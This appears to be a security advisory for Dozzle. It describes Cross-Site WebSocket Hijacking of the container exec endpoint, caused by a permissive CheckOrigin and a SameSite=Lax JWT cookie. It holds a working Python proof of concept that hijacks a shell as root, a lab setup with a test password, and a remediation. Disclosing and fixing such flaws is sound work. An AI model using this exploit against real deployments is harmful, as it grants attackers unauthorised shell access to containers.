The WebSocket upgrader for the /exec and /attach endpoints uses CheckOrigin: func(r *http.Request) bool { return true }, accepting upgrade requests from any origin. Combined with the JWT cookie using SameSite: Lax, this enables Cross-Site WebSocket Hijacking (CSWSH) — even when authentication is properly configured.
An attacker hosting a page on a same-site origin (e.g., a sibling subdomain, or another service on localhost) can initiate a WebSocket connection to the exec endpoint that carries the victim's valid JWT cookie, gaining interactive shell access in any container the victim is authorized to access.
1. CheckOrigin bypassed (internal/web/terminal.go:15-21)
var upgrader = websocket.Upgrader{
ReadBufferSize: 1024,
WriteBufferSize: 1024,
CheckOrigin: func(r *http.Request) bool {
return true
},
}
The gorilla/websocket default CheckOrigin rejects cross-origin requests. Overriding it to return true removes the only server-side defense against CSWSH.
2. JWT cookie with SameSite=Lax (internal/web/auth.go:20-27)
http.SetCookie(w, &http.Cookie{
Name: "jwt",
Value: token,
HttpOnly: true,
Path: "/",
SameSite: http.SameSiteLaxMode,
Expires: expires,
})
SameSite operates at the site level (eTLD+1), not the origin level. A page on evil.example.com can make a WebSocket request to dozzle.example.com and the browser will attach the JWT cookie, because they share the same site (example.com). SameSite=Lax only blocks cross-site requests (different eTLD+1), not cross-origin requests within the same site.
Preconditions: Dozzle is deployed with --enable-shell and authentication configured (simple auth). The victim is logged in.
attacker.example.com, or another service on localhost:8888 while Dozzle is on localhost:9090)new WebSocket('wss://dozzle.example.com/api/hosts/{host}/containers/{id}/exec')SameSite=Lax allows it)CheckOrigin returns true — upgrade acceptedSetup — Dozzle with authentication + shell:
docker-compose.yml:
services:
dozzle:
image: amir20/dozzle:latest
ports:
- "9090:8080"
volumes:
- /var/run/docker.sock:/var/run/docker.sock:ro
- ./data:/data
environment:
- DOZZLE_AUTH_PROVIDER=simple
- DOZZLE_ENABLE_SHELL=true
target:
image: alpine:latest
command: sh -c "while true; do sleep 3600; done"
data/users.yml:
users:
admin:
name: Admin
# password: admin123
password: "$2b$11$NdL2aePdZmwFzqGo5YYqaOwG.26CjSlnzU3VQNTEGnT0ewbds2JNS"
email: admin@test.local
roles: shell
Exploit — CSWSH with cross-origin Origin header + victim's cookie:
import json, time, websocket, requests
target = "http://localhost:9090"
# Verify auth is enabled
r = requests.get(f"{target}/api/events/stream", timeout=5, stream=True)
r.close()
assert r.status_code == 401, "Auth not enabled"
# Victim logs in
r = requests.post(f"{target}/api/token", data={"username": "admin", "password": "admin123"})
jwt = r.headers["Set-Cookie"].split("jwt=")[1].split(";")[0]
# Get container info (authenticated)
r = requests.get(f"{target}/api/events/stream", cookies={"jwt": jwt}, stream=True, timeout=10)
for line in r.iter_lines(decode_unicode=True):
if line and line.startswith("data: "):
data = json.loads(line[6:])
if isinstance(data, list) and len(data) > 0 and "host" in data[0]:
host_id = data[0]["host"]
cid = data[0]["id"]
break
r.close()
# CSWSH: cross-origin WebSocket with victim's cookie
ws_url = f"ws://localhost:9090/api/hosts/{host_id}/containers/{cid}/exec"
ws = websocket.create_connection(
ws_url, timeout=10,
cookie=f"jwt={jwt}",
origin="http://localhost:8888" # DIFFERENT origin
)
# Connected! CheckOrigin:true accepted the cross-origin request
ws.send(json.dumps({"type": "resize", "width": 120, "height": 40}))
time.sleep(1); ws.recv()
ws.send(json.dumps({"type": "userinput", "data": "id\n"}))
time.sleep(2)
ws.settimeout(2)
output = []
try:
while True:
output.append(ws.recv())
except:
pass
ws.close()
print("".join(output))
# uid=0(root) gid=0(root) groups=0(root)
# Verify: without cookie = rejected
try:
ws2 = websocket.create_connection(ws_url, timeout=5, origin="http://localhost:8888")
ws2.close()
except Exception as e:
print(f"Without cookie: {e}") # 401 Unauthorized
Result:
[+] Auth is ENABLED (events stream returns 401)
[+] WebSocket CONNECTED with cross-origin Origin: http://localhost:8888
[+] uid=0(root) gid=0(root) groups=0(root)
[+] Without cookie -> 401 Unauthorized
Users who deploy Dozzle with --enable-shell and properly configure authentication are still vulnerable to CSWSH. An attacker on a same-site origin can hijack the authenticated WebSocket to:
Remove the custom CheckOrigin override and use the gorilla/websocket default, which rejects cross-origin requests:
var upgrader = websocket.Upgrader{
ReadBufferSize: 1024,
WriteBufferSize: 1024,
// Default CheckOrigin rejects cross-origin requests
}
{
"github_reviewed_at": "2026-05-11T14:07:21Z",
"github_reviewed": true,
"cwe_ids": [
"CWE-346"
],
"nvd_published_at": null,
"severity": "HIGH"
}